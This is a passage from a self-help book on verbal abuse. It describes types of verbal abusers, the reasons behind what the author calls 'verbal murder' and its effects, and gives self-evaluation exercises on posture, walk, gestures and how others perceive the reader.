monotones or in short clipped phrases. If they should happen to unload, be prepared for someone who won't
shut up or who is ranting and raving in loud, uncontrolled tones. As they let out their stored-up verbal poisons,
their reactions and words may sound more extreme and hostile than the words of those who let out their
emotions regularly.
Page 46
In summary, beware of the following level two verbal abusers:
1. Interrogators
2. Gossiping, Meddling Instigators
3. Condescending Dismissers
4. Sneaky Underminers
5. “I Love You—I Hate You” People””
6. “You're No Good!” People
7. Yellers, Screamers, and Ragers
8. Verbal Nazis
9. Guilt-Producing Accusers
10. Liars
11. Verbal Icicles
Page 47
Chapter 4
Verbal Murder—How and Why?
What Is Verbal Murder?
Verbal abuse leads to verbal murder—the killing of one's spirit, self-esteem, dignity, and self-respect through
emotionally hurtful words and phrases. The aim of verbal murderers is to make you feel bad. The difference
between verbal murderers and verbal abusers is that murderers are relentless. They abuse repeatedly until they
have done irreparable emotional and even physical damage to their victim. If the verbal abuse mentioned in
Chapter 2 continues for any length of time, the result is emotional death—verbal murder.
Who Are Verbal Murderers?
Verbal murderers can be anyone with whom you have ever come in contact who have made you feel less than
human, by the constant horrible things they have said to you and about you. They usually are people so full of
self-loathing or self-hatred that they spew their venom on anyone who happens to be in their path.
Verbal murderers come in all shapes, colors, sizes, and religions. They cross all cultural, sexual, racial, ethnic,
and age barriers. They are from all walks of life and are seen in virtually every profession and in every country
in the world.
Page 48
Half of the verbal murderers know exactly what they are doing. They are very conscious about their motives.
The other half murder automatically or unconsciously. Later in this section, we learn both the conscious and
unconscious reasons why they emotionally kill.
Identifying the Verbal Abusers in Your Life
You might have been verbally abused at one point in your life and not at other points. You may have been
abused mostly by men, or mostly by women, or by certain family members and not by others, or by certain
friends or acquaintances. Perhaps a co-worker, boss, or employee verbally abused you. You may have been
abused verbally as a child without even knowing it.
So do the following exercise. Carefully think back through your life, decade by decade. List people both in
your past and in your present. Tally up how many men verbally abused you, as well as how many women.
Tally up the number of relatives, employers, friends, and so on. Go through all the categories of people listed
on the following chart. In this chart, list the names of people who verbally abused you under each of these
kinds of people who were or are in your life. You might discover patterns showing changes over time about
who verbally abused you in the past and in the present.
Go down the list of Level One Abusers and Level Two Abusers. To specify the type of verbal abuse you may
have received, write the person's name based on his or her relation to you in each of the 21 categories. If you
need more room, use another sheet of paper.

Page 49
When Do Verbal Abusers Turn into Verbal Murderers?
Now that you have identified your verbal abusers, go back and, on a separate piece of paper list all the names
of the people on your chart.
Next to each name, write a number from 1 to 3, indicating the frequency that you received their verbal poison.
Writing 1 means once or a few times, 2 means several times, and 3 means always. Each number 3 indicates that
the named person succeeded in killing something about you emotionally. He went beyond verbal abuse and
should now be considered a verbal murderer.
Just like physical murderers, verbal murderers need to be kept away from people and put behind bars. You
need to keep them away from you at all times. Bar them from your life.
On the other hand, just as prisoners can often be rehabilitated, if the verbal murderer is willing to get some
professional help, or if you can set new limits of ground rules and reestablish your relationship, then the
murderer can be set free. He can now become a productive member of society. Your “society”—your life!

Page 50
Why Does Verbal Murder Happen?
People become verbal murderers for several reasons. Some murderers act unconsciously—they couldn't tell
you why, but something deep within their psyches allows them to act in such a “toxic” manner. Other
murderers are quite conscious. They know exactly why they speak to you the way they do. The following
section explores both the subconscious and conscious reasons for verbal murder.
Unconscious Reasons for Verbal Murder
All too often, people who say and do ugly things to you have no idea why they treated you that way. Even if
you sit them down and ask them point blank why they act as they do, they can't answer you. They know only
that for some unknown reason, you seem to bring out the worst in them, perhaps stimulating their deepest fears.
Hey! Don't Take It Out on Me!
Many people are so frustrated with their own lives that they let out their frustration in the worst way.
Unfortunately, that worst way may be towards you. You may be the recipient of the “kick the cat” syndrome.
This syndrome is named for the old adage about someone who had a hard day or a misfortune. He comes home
and looks to take out his anger on anyone who happens to be there. Unfortunately, the only creature present is
the cat. This angry person literally kicks the cat in order to let out his anger and frustration, even though the cat
has nothing to do with his frustrations.
Verbal murderers may kick you or someone else who is in their way—not physically, but emotionally. Their
boss yelled at them, and they had to take it or risk being fired. Because you are a friend or a family member,
however, they have no qualms about taking out their frustrations on you. They do this by being short-tempered
with you. For example, you call them at work to let them know that you miss them and would like to take them
to lunch. Before you can get a word out, they blurt out gruffly and impatiently, “Didn't I tell you not to call me
at work? What do you want?” At this point, the only thing you want is to get off the phone with them and never
see them again.
All too often, people who are close to us take the liberty of treating us the worst by unloading their anger onto
us. You must never ever let them do this to you. Later on in this book, you will learn what to say in order to
defend yourself in this uncomfortable situation.
Hey! We're Not All Like That!
In their emotional pain, they generalize that all people of a certain group act in a certain way. Because of their
negative experiences with one particular group, they generalize their ill feelings to everyone who is a member
of that group. How many times have we heard women say “men are dawgs (dogs)” or men say “there are no
more good women out there?”
Page 51
After having so many negative experiences, and saying such a thing enough times (whether in jest or not), they
come to believe it. Unconsciously, these verbal murderers condemn an entire race, religious group, sex,
country, profession, or socioeconomic group for the actions of a few bad seeds.
I'm Not That Toxic Person in Your Past!
Just as a verbal murderer condemns people for the group to which they belong, a murderer will often throw
poison verbal darts at someone who reminds him of someone who did him wrong.
Most of the time, however, people who dislike someone don't know the reasons why. If you ask them what that
person did to them to arouse such disdain, they will be at a loss for words.
Unfortunately, if people have had a series of bad personal relationships (in which they have been cheated on
repeatedly, for example), they often might be very suspicious of you and perhaps believe that you are cheating
on them as well. Even if you never give them any cause to think that you desire someone else, they might keep
insisting that you have been unfaithful.
Green with Envy!
Usually, you are stabbed in the back because of envy. In psychological terms, “envy seeks to destroy.” People
undermine you or do whatever they can to hold you back because they are green with envy.

Page 52
The envy shows on their face with their tight-lipped smile and hard swallow whenever you tell them something
good that has happened or is about to happen in your life. You can actually see the veins tense up in their neck
as they have a difficult time swallowing their own venom.
Some people make mean and cutting remarks to you because, consciously or not, they are extremely jealous of
you for some reason. You may think that they have nothing to be jealous about, but in their eyes, you are larger
than life. They wish to have what you have, or they regard you to be “more” than they are. All this may be a
surprise to them, however. If you point out that they are jealous, they might vehemently deny it and profess
how much they like, love, or admire you.
I Really Don't Deserve to Be That Happy!
Have you ever met people who had everything going for them? Things are going smoothly for them until they
open their big mouths and stick their feet inside, sabotaging everything they worked for.
These people feel that deep down they don't deserve good things to happen to them. They see themselves as
impostors who will be “found out” in time, especially if someone gets too close to them. Unconsciously, they
feel that the truth about themselves will be revealed. They have low self-esteem and see themselves as losers,
no matter how successful they may seem by society's standards.
Because they feel that they don't deserve to be happy or liked, let alone loved, they say rude or mean things to
others, including you. They don't realize that this is an attempt to get you to dislike them, so that they can prove
that they are unlovable frauds.
A client of mine broke off her engagement with a man because of his verbal hostility toward her. As she put it,
he would give with one hand and take away with the other. One small example was when she opened the door
to see him and he said “Wow, you look so sexy and gorgeous.” She smiled brightly, but her smile turned into a
frown when he added, “but I hate the color green. It sickens me and you look like you are sick.” He made
comments like these constantly. What her ex-fiancé was doing was verbally destroying a relationship that he
knew would make him happy. He didn't feel that he deserved happiness, so he talked himself and his fiancé out
of it.
I Don't Trust Anybody—Including You!
Just as people project their bad experiences with others onto you, they may also project onto you issues of trust
or lack of trust. They may have had trusts broken in their childhood, business life, or personal life. And it takes
very little to trigger such people's mistrust—cues from your facial or body movement, or from your voice or
what you say. They conclude, rightly or wrongly, and consciously or unconsciously,
Page 53
that you are not forthright, and so they react toward you with verbal abuse. In essence, they are coming across
on the offense to subconsciously protect themselves against you.
Conscious Reasons for Verbal Murder
People also have conscious reasons for trying to murder you verbally. They spew verbal bullets when they can't
stand you, don't want you to succeed, want to control you, or don't want you to be better than they are.
They Just Plain Can't Stand You!
For whatever reason, some people just can't stomach you. You get on their nerves. This is why they can tell
you the worst things about yourself and then say they were only kidding; this is why they can be sarcastic to
you. And if you happen to tell them something bad that's going on in your life, they love it!
They Know You Really Don't Like Them
For the most part, the way you feel about a person is the way they will feel about you. If you aren't too crazy
about someone, chances are that she's not so crazy about you either. People know when they aren't liked and
will often reflect this in their behavior—what they say to you and how they say it.
What's the Use?
Many people resign themselves to a life of despair or mediocrity. Just because things don't go as planned, they
feel that their whole life is a mess. They feel like losers; they expect the worst, and they definitely get the
worst.
As a result, they don't try anything new. There is no excitement in their souls, as their dull tones usually reflect.
Anyone around them who shows a bit of spunk or enthusiasm towards life is regarded as the enemy. Therefore,
they always say something to try to discourage you or squelch your dreams or excitement. They figure that if
they are so miserable, you should be miserable too. They will rain on your parade, pop your balloon, and
deflate your ego. They usually say the phrase “yeah but” when they are going to tear down anything positive
you have said. Unfortunately, their hopelessness tends to be contagious.
Gimme the Reins—I Need to Control You!
The control freak can relate to you—or to anyone else for that matter—only if he has you under his control.
Sometimes, the control freak can hold money, a certain

Page 54
lifestyle, or even a job situation over your head to make sure that you are under his thumb.
The most common situation I have encountered is the woman who goes after her dream man—the fantasy
Prince Charming with the big bucks who can take care of her financially so that she will live happily ever after.
What does he get out of it? He gets the pleasure of controlling her with his big bucks, putting her on a
restrictive budget, and dictating her behavior. Yeah—happily ever after! The price is too high when you give
up your freedom. It doesn't work—you crumble. Even societies crumble when people are controlled or
oppressed. Look at what happened in East Germany and in the former Soviet Union. You can't limit people's
creativity and ambition and expect them to flourish.
You're Incompetent!
When people think you're stupid or can't cut the mustard, they usually speak to you in curt sentences, using
condescending and impatient-sounding tones. They consistently show their frustration whenever they speak to
you directly or speak about you to others.
Often the people around them follow suit. For example, their secretaries, assistants, employees, or friends may
treat you and speak to you in a similar manner. They won't show you the courtesy you deserve. Because they so
consistently treat you like an idiot, you may find yourself carrying out their self-fulfilling prophecy, believing
you are incompetent and acting in accordance to their low expectations of you.
I Just Don't Believe in You!
One client of mine once had a talent agent for her acting career. This agent never got her work and rarely even
took her telephone calls. One day, when talking to another client of mine, a director, I heard about a role that
she would be perfect for. I told the director about her and he sounded very interested in meeting with her.
When she arrived in my office later that morning, I had her immediately telephone her agent in my office. She
put the call on speakerphone so that we could both talk to her agent and I could fill him in on the details of the
project and put him in direct contact with the director.
After placing us on hold for what seemed like an eternity, the agent finally answered the phone with a gruff,
curt, monotonous, disgusted sound “Yeah.” She excitedly told him about the project, which he immediately
started to pooh-pooh. He told her that the casting agents for that project were looking at a lot of people and that
he didn't think she was right for the part. She tried to sound convincing and chipper as she told him what had
taken place in my office with the director. I then got on the phone and
Page 55
told him how the director seemed interested in interviewing his client. But in his sour, negating tone, he
basically told me that it was too big a role and that they were looking for a name and so wouldn't be interested
in her.
When she got off the phone, she was sobbing in frustration. She said that he never believed in her and always
talked down to her, negating everything she ever said or suggested. She felt low and worthless, and even began
to question her own talents and why she was even pursuing an acting career.
Before she got too down, I got her the meeting with the director myself, and she got the role and “kicked her
agent to the curb.”
It's better to be alone than to be around anyone who doesn't believe in you. Such people sabotage your efforts
by not doing anything to help you—they will neglect you or proactively do their best to make sure nothing
good happens to or for you.
I Don't Want You to Be Ahead of Me!
These are the ultimate competitors. Unlike those who are unconsciously jealous, these people are fully
conscious of who you are and the threat they perceive you to be. They are overt in letting you know that they
are the “king,” “queen,” or “star” and that you should stay in your place.
This is all too common among siblings and spouses. Often, spouses start out being in a subservient role in
which they look up to their mate, who makes more money, is in a more powerful position, or is more attractive.
When the tables turn and the previously subservient spouse starts to assert himself or herself, when they begin
to earn more money, or attain equal or more perceived power in the job world, all hell breaks loose. Loveydovey
couples who previously cooed accolades and terms of endearment towards one another now roar at and
demean one another in their attempts to gain the upper hand.
In my practice, I have seen this scenario repeatedly when people lose a lot of weight, have plastic surgery to
improve their looks, or dress differently. People who were supposed to be your “friends”
Page 56
aren't too friendly now that you look or feel better. They liked you in your previous role when they had (at least
in their minds) more than you or felt they were better than you.
These people make life as miserable as possible for you by exhibiting a wide range of toxic behaviors. These
include not acknowledging you, not speaking to you, or ignoring, minimizing, or openly taking issue with
everything you say. They may mock you to others and badmouth you. By doing this, they attempt to gain the
winning edge of other's favorable perception of them as they perpetuate the unfavorable perception of you.
If this happens in a work environment in which the other person is in a more powerful position than you, there
is unfortunately nothing you can do about it. You lose out in that situation, and you have to be the one to leave.
In the long run, this is perhaps for the better—who would want to be around such a toxic person anyway?
Who Said You Can Be That Happy and Lucky?
Many people are so miserable that they can't stand when someone else is happy or has a run of good fortune.
Even if their lives are going well, they resent that yours is, too. Even though they may be smiling at you, they
are wishing you ill. Such people either minimize the good things you tell them or try to top you.
They Did It to Me—Now It's Your Turn!
This type of verbal abuse is common in families in which a parent who was verbally abused passes down
verbal poison to his or her child, who as an adult in turn passes down this ugly heirloom to their child, and so
forth. The old adage “the apple doesn't fall far from the tree” is most appropriate here.
Perhaps one of the worst experiences of my life was getting my first Ph.D., in communication disorders, when I
was 24. Thank goodness I didn't encounter the same emotional torture when, years later, I received my second
Ph.D., this time in counseling psychology. With a few exceptions, the professors in my first doctorate treated
me like dirt. They were rude, condescending, obnoxious, curt, demeaning, uncooperative, unhelpful,
unfriendly, and downright awful to me.
Page 57
I was so depressed over this situation that it took all the energy I could muster just to get up in the morning. I
then decided to see a counselor at the university. When I told her my plight, she threw her head back and
smiled a smile indicating she had often seen this problem before. She then said, “Don't worry, you are just
being initiated into your doctorate the same way they were. Their professors did it to them, and now it's your
turn!” As soon as she said that, I understood the game, and I no longer took their abuse to heart.
Consequences of Being a Verbal Murderer
Verbal murderers are usually embarrassed or ashamed about what they say and do to others. They have so
much inner anger towards themselves that their poisonous words uncontrollably escape from their lips to attack
you. This lack of verbal control often costs them their relationships with friends or family. They find that they
are shunned, unforgiven, and untrusted by those to whom they were once close. Social invitations dry up, and
people usually stay away from them.
Trust is the essence of any relationship, and when trust is shattered, there is usually no going back. These
verbal murderers cannot be trusted, because they may verbally murder again. They cannot keep friends on a
long-term basis. They also become the last to know things, because nobody trusts them—sharing one's
confidences with these verbal murderers is out of the question.
Another consequence of being a verbal murderer is frequent depression. They are often so bitter at others and
life in general that they walk around with a frown, a scowl, or an expressionless face, which further alienates
them from others.
They tend to feel so guilty and ashamed of what they have said and done to so many people that they perceive
themselves in a negative manner; this in turn permits their low self-esteem. And because they hold themselves
in such low esteem, they may act out by being more verbally destructive to others or to themselves. They may
drink, smoke, take drugs, or overeat in order to dull and temporarily quiet the pain lurking inside of them.
Consequences of Being Verbally Murdered
When you have been verbally murdered, part of you has literally died, mentally, emotionally, and spiritually.
You lose your enthusiasm, your smile, and your inner desires and passions. You feel as though there is no hope
left in you.
You become afraid to speak up and share your innermost confidences with anyone. You become closemouthed,
fearful, and withholding around people. Even being around people may become uncomfortable for
you because you are afraid to say anything that you feel could sound stupid or ridiculous. Even though such
fears are usually unwarranted, you are always “on guard” with others.
This fear cuts you off from the viable communication you need with others in order to have solid and open
relationships.
Page 58
If the verbal murder persists over a long period of time, causing you severe stress, this stress may become so
physically devastating to you that it leads to your premature death. You could develop heart disease or even
cancer, as research has consistently proven. Suicide is another unfortunate by-product of consistent verbal
murder. According to various researchers, the rise in teenage suicide could be due to persistent verbal
harassment and feeling so depressed about it that the teen concludes there is no way out.
Page 59
PART 2
PREPARING TO VERBALLY DEFEND YOURSELF
In Part 1, you learned how to recognize the “verbal enemy.” You learned how to size them up, and what
specific signals to look and listen for. You learned how to recognize whether you have been subjected to verbal
abuse. You learned about both the psychological and physical consequences of being subjected to verbal
abuse. Finally, you learned about the specific types of verbal abusers and why they do it.
You can never defend yourself against the verbal enemy unless you are prepared. You can't fight a battle and
expect to win unless you have the right ammunition.
In fighting back, you must come from a position of power and strength. In order to do this, you need to feel
confident that you have all of the equipment essential to help you win the “verbal war.”
This part tells you about all the tactics and strategies you need to come out ahead. First, you learn how to
objectively analyze yourself as you prepare for verbal warfare. Then you learn how to defend yourself and find
out all you need to know about how to gain that added physical, verbal, and communicative advantage against
verbally abusive people.
Page 61
Chapter 5
Analyzing Your Strengths and Weaknesses
When you know yourself, you know how to effectively comport yourself in the world. You know how to
maneuver yourself in any situation, because you are secure enough to know what your psyche or mental
makeup can or cannot tolerate. Therefore, you must have the knowledge and the confidence to know how you
will react to any given situation. If you know that you tend to act in a certain way, but that way cannot gain you
the advantage you need to win the verbal war, you become more conscious of the situation. Thus you can
change your usual way of reacting and behave in a more effective manner, which allows you to verbally slay
your hostile opponent.
How Others See You Does Matter!
Why would you care what anyone thinks about you? After all, how you look, act, and sound is your business,
not theirs. You know in your mind that you are qualified to do any job. You know in your heart that you are a
good person and that anyone would be lucky to have a meaningful relationship with you. You are absolutely
right. However, unless you look, sound, and act in a way that helps you win friends and influence people,
nobody will give you the chance to show how competent you are at that job or take the time to get to know you
and discover what a wonderful, sensitive, and generous person you are.
Page 62
The truth is that we do not live in a meritocracy. In an ideal world, superficial things like appearance shouldn't
matter. In the real world, however, it does matter. If people perceive you in a more positive light, they will treat
you better. They will have more confidence in you, which will translate into better opportunities for you. More
doors will be available to you in your business as well as in your personal life.
Studies consistently show that if you have good posture, a solid walk, an appropriate gaze, the right facial
expressions, and a good voice and proper communication skills, you will be perceived as being wealthier, more
successful in business, less guilty of committing a crime, more intelligent, friendlier, and more sexually
exciting than if you don't possess these qualities.
How Do You Come Across to Others?
To clearly learn about how you come across to others is to ask them objectively what image you give off in
general.
Tell them that they won't hurt your feelings, and they would be doing you a great favor in terms of providing
you with this information.
I came up with this idea when I was sitting on an airplane next to a businessman who was president and CEO
of a highly successful company. He told me that he worked for a company for 25 years and was fired due to
downsizing. He was on the fast track to corporate success and suddenly his world fell apart—his job and his
marriage. He didn't know who he was or where he was going, so he set out on a quest to find out how others
perceived him. He sent out 100 letters to people he knew well—colleagues, acquaintances, family members,
and those whom he felt may not like him.
He asked them to take a few moments to honestly write and tell him what they thought of him. He then
compiled all of the data and came up with a consensus that he was a doer and innovator, he loves people, and
he was personable, friendly, and sensitive towards the needs of others. He spent more time counseling
employees than being concerned about the bottom line. He also found out that he was impatient and at times
has a bad temper—especially when he doesn't get his way.
This information changed his life. He started an employment agency to help scientists and researchers find
jobs, since the business employment agencies were tapped out. In his new position he has never been happier in
his life—all day long, he counsels unemployed scientists whom he knows he helps. He has made more money
than ever before, watches his temper and his impatience, and the best news is that he married one of his
scientist clients and is living happily ever after.
Page 63
The General Consensus About You Is…
In order to make people in your life more comfortable with giving you information about yourself, you may
want to ask them to describe how others may perceive you. This gets them off the spot; they're less likely to
feel they'll embarrass you and themselves, no matter how much you protest that the information won't hurt your
feelings.
You may want to do this with your co-workers, employer, employees, spouse, children, friends, relatives, and
anyone else who knows you.
Write these comments down in a notebook afterwards and then look at certain personality patterns you have, as
well as how they feel you present yourself. Once again, insist that they be 100 percent candid with you so that
you can get a true picture of how the world sees you.
Sometimes, people will have already told you how they feel about you. In these cases, you don't need to ask
them again. Just include their names on the list along with comments they made about you in the past.
Putting Others to the Test
On each page of a small booklet, write the name of the person to whom you are asking these questions, on the
page in your booklet listing with who they represent in your life. Do it with 5–10 people in each category. You
can do it with more than 10 people; the more information you get about how several people perceive you, the
better equipped you are to learn more about yourself and see if consistent negative perceptions crop up. You
may now become aware of them and begin the journey of changing or modifying the negative aspects.
The more you can do to change yourself for the better, the stronger and more powerful you will be in fighting
any verbal battle. Following is a sample chart you can fill out to help you learn how people perceive you. You
can compare this chart by first writing down how you perceive yourself and see if it is in harmony with what
others think of you. If your comments about yourself are widely different from others' comments, this may be a
good reality check for you. It may help you modify or amplify your actions or the way you present yourself.
I See Myself As…
Positive Traits
Negative Traits
1. ____________________ ____________________
2. ____________________ ____________________
continues
Page 64
continued
3. ____________________
____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Family and Relatives Think I Am…
Name
Comments
1. ____________________ ____________________
2. ____________________ ____________________
3. ____________________ ____________________
4. ____________________ ____________________
5. ____________________ ____________________
6. ____________________ ____________________
7. ____________________ ____________________
8. ____________________ ____________________
9. ____________________ ____________________
10. ____________________ ____________________
Now repeat this same chart noting the opinions of close friends, acquaintances, professionals (doctors,
attorneys, dentists, teachers), and business colleagues.
Consensus of Opinion of Other's Comments About You
Positive Consensus
Negative Consensus
1. Family
2. Close Friends
3. Acquaintances
4. Professionals
5. Business Colleagues and
Employers
General Overall Comment about How Others Perceive Me…
_____________________________________________
_____________________________________________
Page 65
General Overall Comment about How I Perceive Myself…
_____________________________________________
_____________________________________________
Equipment You Need to Objectively Examine Yourself
Before you fight any verbal battles, you need to look at yourself very objectively. You need to get emotionally
naked and put your ego into your back pocket. You need to step outside yourself and pretend that you are
looking at a person other than yourself. Try to look at this person (you) in the same manner as others may be
viewing and perceiving this person.
Besides having an objective mind, you need a mirror, preferably full-length (together with an audiotape or a
video camera), where you can see yourself soon after you are visually recorded. Both the mirror and audiotape
or videotape are ideal devices for observing yourself and keeping a record of the significant changes you make
as you learn new and powerful skills to help yourself in your verbal battles. You will be able to see and hear
the progress you made from the time you first examined or recorded yourself as part of the exercises in this
chapter, to how you are coming across now and in the future.
Mirror, Mirror on the Wall.
Walk up to a full-length mirror and examine the person standing there—you! Observe yourself walking to the
mirror. Now stand in front of the mirror as you usually stand and look at that person in front of you. As silly as
it seems, turn a tape recorder on next to you and talk to a person who is in the room with you. Explain what you
are doing so that the person won't think you have gone nuts. If there is no one there, get on the speaker phone
(if you have one) so that your head won't be cocked against the receiver as you are speaking and listening to the
person on the other line. If your phone isn't next to your full-length mirror, just look in the mirror and start
speaking. Ask yourself some questions.
Talk to the “you” in the mirror as you record yourself on the tape recorder. Ask the “you” questions in the
second person perspective. For example, don't ask “What did I do today?” but “What did you do today?”
If you don't know what to say, the “Talk Back!” section that follows has some suggestions you can discuss with
yourself. Talk to yourself while standing up and then while sitting down in a chair.
Page 66
Perhaps you can ask yourself half of the questions in the “Talk Back!” section while standing and the other half
while sitting.
Here are several topics to discuss with yourself in the mirror or on audiotape or videotape:
1. What was the greatest experience of your life?
2. What are your plans for this week and next week?
3. What would be your innermost fantasy for an ideal life?
4. Who are the three people who have most influenced your life, and how did they do it?
5. Describe your ideal mate.
6. Describe an event in detail that you would like to relive.
No Lies on Videotape
Even though the lighting may not be the best, you can still get true representation of how you come across. Use
the same techniques that were suggested in the preceding section, “Mirror, Mirror on the Wall.” Make sure that
when you videotape yourself standing up and then sitting down, the camera lens is adjusted appropriately. If
you want to have a conversation on videotape with another person in the room, make sure that they are not
shown in the video by appropriately adjusting the camera.
When you play back the videotape to objectively examine yourself, it is best to do it alone, so that nobody can
influence or contribute to your analysis. For example, you don't want to objectively observe that your shoulders
may be rounded when you stand, then have the other person discount your self-analysis by saying something
like, “I don't think they are so rounded.”
Record a Call
Electronics stores sell special tape recorders that enable you to record your telephone conversation with
someone else and play it back later. In many states it is a crime to tape record a conversation without telling the
other person. If this is the case in your state, let the person know that the call is being taped so that you can
examine how you come across on the phone. Assure your partner that the conversation won't be used for any
purpose other than your own self-analysis, and that the other person's voice and taped comments won't be
analyzed or given to anyone else.
Another way to get the tape recording done is to tape your side of the conversation via an external tape
Page 67
recorder. Make certain that the recorder is located not too far away from you, so that you get a more accurate
reading of the way your voice sounds.
A Picture Says a Thousand Words
Sometimes you can determine a lot about the way you come across (for example, your facial expressions and
your sitting and standing posture) from photographs.
The reason many people don't like how they look in photos is that there is something about the photos that
doesn't present them in the best light. Aside from certain people photographing better than others because of
the angles of certain facial features or the way their bodies are positioned, most people know that something
about the photos—they don't know what—reflects something negative about them.
On careful inspection of this matter, I did a small study in which I asked people to look at photos of themselves
taken over time to determine whether they could spot a pattern in the way they sat, stood, or in the way they
presented themselves facially.
To get a clearer perception of people's posture and facial expression, I had them show me some photos of
themselves from different times in their lives. Those who consistently hated their photos regardless of when the
pictures were taken said that they just didn't like the way they looked. When I further analyzed their photos, I
could see that their posture and their facial expression (a consistently tense smile or serious frown, for
example) may have contributed to their negative views of themselves. They also may not have liked the way
they looked because of poor self-esteem.
Getting Emotionally Naked
Before you step into your verbal battle gear, you need to shed your previous ego armor. Your first step in
removing this armor was established when you found out how people in your world looked at you.
Page 68
Now is the time to objectively look at yourself and listen to yourself, warts and all. It may be uncomfortable at
first, largely because you've never done it before.
Know that after you analyze your body language, facial language, the way you speak, and what you say, and
when you learn how to rectify and difficulty you may be having in any of those areas, you are well on your way
to having all of your equipment intact. This gives you the proper verbal ammunition to charge forward and
defend yourself against any verbal vultures.
Stand Up and Walk the Walk!
It is well documented that if a person stands and walks like a victim, he will be perceived as weak and helpless.
This is why statistics show that the person projecting this weak image is more likely to be victimized in a
robbery or assault than the person who stands and walks with a confident gait. These individuals project a
“don't mess with me” attitude that usually deters the criminal.
Having a posture and walk reflecting only self-assuredness are extremely vital to your victory in the verbal
battleground.
The Stance of Power.
“Strand up straight!” “Don't hunch your shoulders!” “Keep your head up!”
Sound familiar? Most of our parents repeated these mantras. Those who took heed have excellent postures
today, while those who didn't have carried poor postural habits into their teens and into adulthood.
Because posture is the first thing people see, it is one of the key components to reflect how others who don't
know you will initially treat you. If you don't stand straight, giving the impression of self-respect, they may not
initially treat you as respectfully as they would someone with better posture.
Perceptual psychosocial studies confirm this. One hundred people were shown photos of people with their head
hanging down, rounded shoulders, and stomachs out, while others were shown photos of people with their
heads up, shoulders squared and back, and their stomach in. Poor postured people were perceived as less
popular, more nerdy, less exciting, less ambitious, and less physically attractive than their straight-postured
counterparts.
Look in the mirror or at the videotape of yourself. Now answer “yes” or “no” to the following questions:

Page 69
Posture Evaluation
1. Is your posture stiff and rigid?
2. Is your posture too relaxed or loose?
3. Is your back hunched over?
4. Do you rock back and forth or are you unable to stand still?
5. Do you stand on one leg instead of two?
The next two questions cannot be answered by observing yourself in the mirror or on video. Therefore, think
back to social or business situations you have been involved in when answering them.
6. Do people move away from you when you speak to them because you stand too close?
7. Do people move closer to you because you sit or stand so far away?
If you answered “yes” to any of these questions, you need all the help you can get. Help with your posture
appears in Chapter 6.
Those with stiff and rigid postures are perceived as being uptight and inflexible, cold and distant—not warm
and inviting. These people tend to alienate others, who find them unapproachable and difficult to communicate
with.
While it is great to have a relaxed and inviting stance that indicates self-confidence, a posture that is too loose
or over-relaxed is perceived as being sloppy and unconfident. It is alienating—who wants to be around a slob
who is overly comfortable around you, even if they just met you?
Rocking back and forth is perceived as impatience or anxiousness to leave the scene. It makes others
uncomfortable because your constant movements often contribute to their loss of focus and concentration.
Thus, they find it very difficult to talk to you. Other, more compassionate individuals are also uncomfortable
and may lose their train of thought around you as they empathize with your anxious need to go to the bathroom
or get a drink.
Unless you are a flamingo living in Miami or you are physically challenged and posses only one leg, standing
on one leg is highly distracting. You are perceived as being in pain from an injured leg. Instead of thinking
about the conversation you are engaged in, the other person is wondering what happened to your leg. People
perceive you as immature, because children usually present this stance when talking to others, especially when

Page 70
they are uncomfortable around that person. Others may also perceive you as being not attuned to the present
situation, or too casual. Having others perceive you in this manner does not elicit trust and confidence in you.
Standing too close to someone, especially if there is not a mutual love connection, makes people uncomfortable
for a number of reasons. First, they may become conscious of their possible bad breath or be repelled by your
breath or body odor. Secondly, they may shrink back because they don't want you to get the impression that
they are interested in you. They may perceive you as having a lot of nerve or “chutzpah” as you dare to invade
their precious space. Remember that in some cultures people stand closer to one another than is comfortable for
Westerners.
If someone stands too far away they are perceived as not liking you or being arrogant, snobby, or feeling as
though they are better than you. Even if you have a visual problem and can see people clearly only from a
distance, no one cares. They still perceive you in a bad light, so move closer!
The Walk of Authority
Videotape yourself walking, or have a friend watch you walk up and down a hallway or across a room. Then
answer the following questions.
1. Do you swish and sway when you walk?
2. Do you have a rigid walk, like a soldier?
3. Do you make a lot of noise when you walk?
4. Do you shuffle your feet when you walk?
5. Do you have a tentative, quiet walk?
6. Do you walk too slowly?
7. Do you walk too quickly?
Swishing and swaying while walking has a sexual, seductive connotation. This highly feminine walk may be
off-putting to those who are not interested in you sexually.
A rigid, soldier-like march portrays an uptight, alienating, and angry disposition.
People who make a lot of noise when they walk often give the impression of being obnoxious and craving
attention. Shufflers are perceived as lazy or insecure or sad and depressed. One who walks too fast appears
angry or anxious (always in a hurry). Fast walkers sometimes seem obnoxious, especially if you are walking
next to them and they sprint ahead of you. If a man does this to a woman in Western culture, he is
Page 71
perceived as insensitive, chauvinistic, and obnoxious. (Of course, be aware that some people have good reasons
for walking quickly. For instance, in the workplace, seeing your boss dash frantically may be a sign not that
she's rude but that she overslept for her big sales meeting!)
I Have to Hand It to You
Answer the following questions about your arm and hand movements.
1. Are your arms crossed when you speak?
2. Do your hands and arms flail around when you speak?
3. Do you usually wonder what to do with your hands?
4. Do you use minimal or no hand movement when you speak?
5. Do you use your hands a lot when you speak?
6. Do you always seem to be fidgeting with your hands?
7. Do you feel compelled to touch everything or everyone in front of you, even if they don't belong to you?
Crossing your arms has other connotations besides being closed off to others. It may be perceived as anger and
alienation and disinterest in what the other person is saying.
Arm flailers, unless they belong to a culture where this is the norm, come across as angry and hostile. Those
who don't know what to do with their hands are perceived as being uncultured, unsophis-ticated, and insecure.
Those who constantly fidget with their hands are perceived as nervous or anxious. Those who touch everything
around them are perceived as annoying, unconscious, unaware, invasive, rude, and out of control.
Dead Head?
Watch yourself from the neck up and answer these nagging noggin questions.
1. Do you stick your neck and jaw out when you speak?
2. Is your head usually tilted down when you speak?
3. Do you cock your head to the right or left side when you speak?
4. Do you turn your head just a little when speaking to someone, while keeping your body in a different
position (usually straight forward) from your head?
5. Do you constantly nod your head “yes” or “no” when you speak?
Page 72
When you stick your neck and jaw forward when speaking or listening, you are perceived as being angry. A
downward-tilted head spells insecurity, a lack of confidence, and unworthiness. Cocking the head to one side
looks like you doubt what the other person has said. It signifies a contentious and suspicious person with an
attitude of “I don't believe you—show me.”
Turning your head and not your body when talking to a person indicates that you are subconsciously keeping
your distance from them. They perceive you as not liking or accepting them.
Unless you are from another culture, you either have a neuromotor problem or are very suspicious and doubtful
about what others say to you. You are perceived as negative and unaccepting or disagreeable. Concurrently, if
you nod your head “yes” all the time you are speaking to a person, you appear overly agreeable or as if you are
seeking approval by giving unmitigated approval to the person to whom you are speaking.
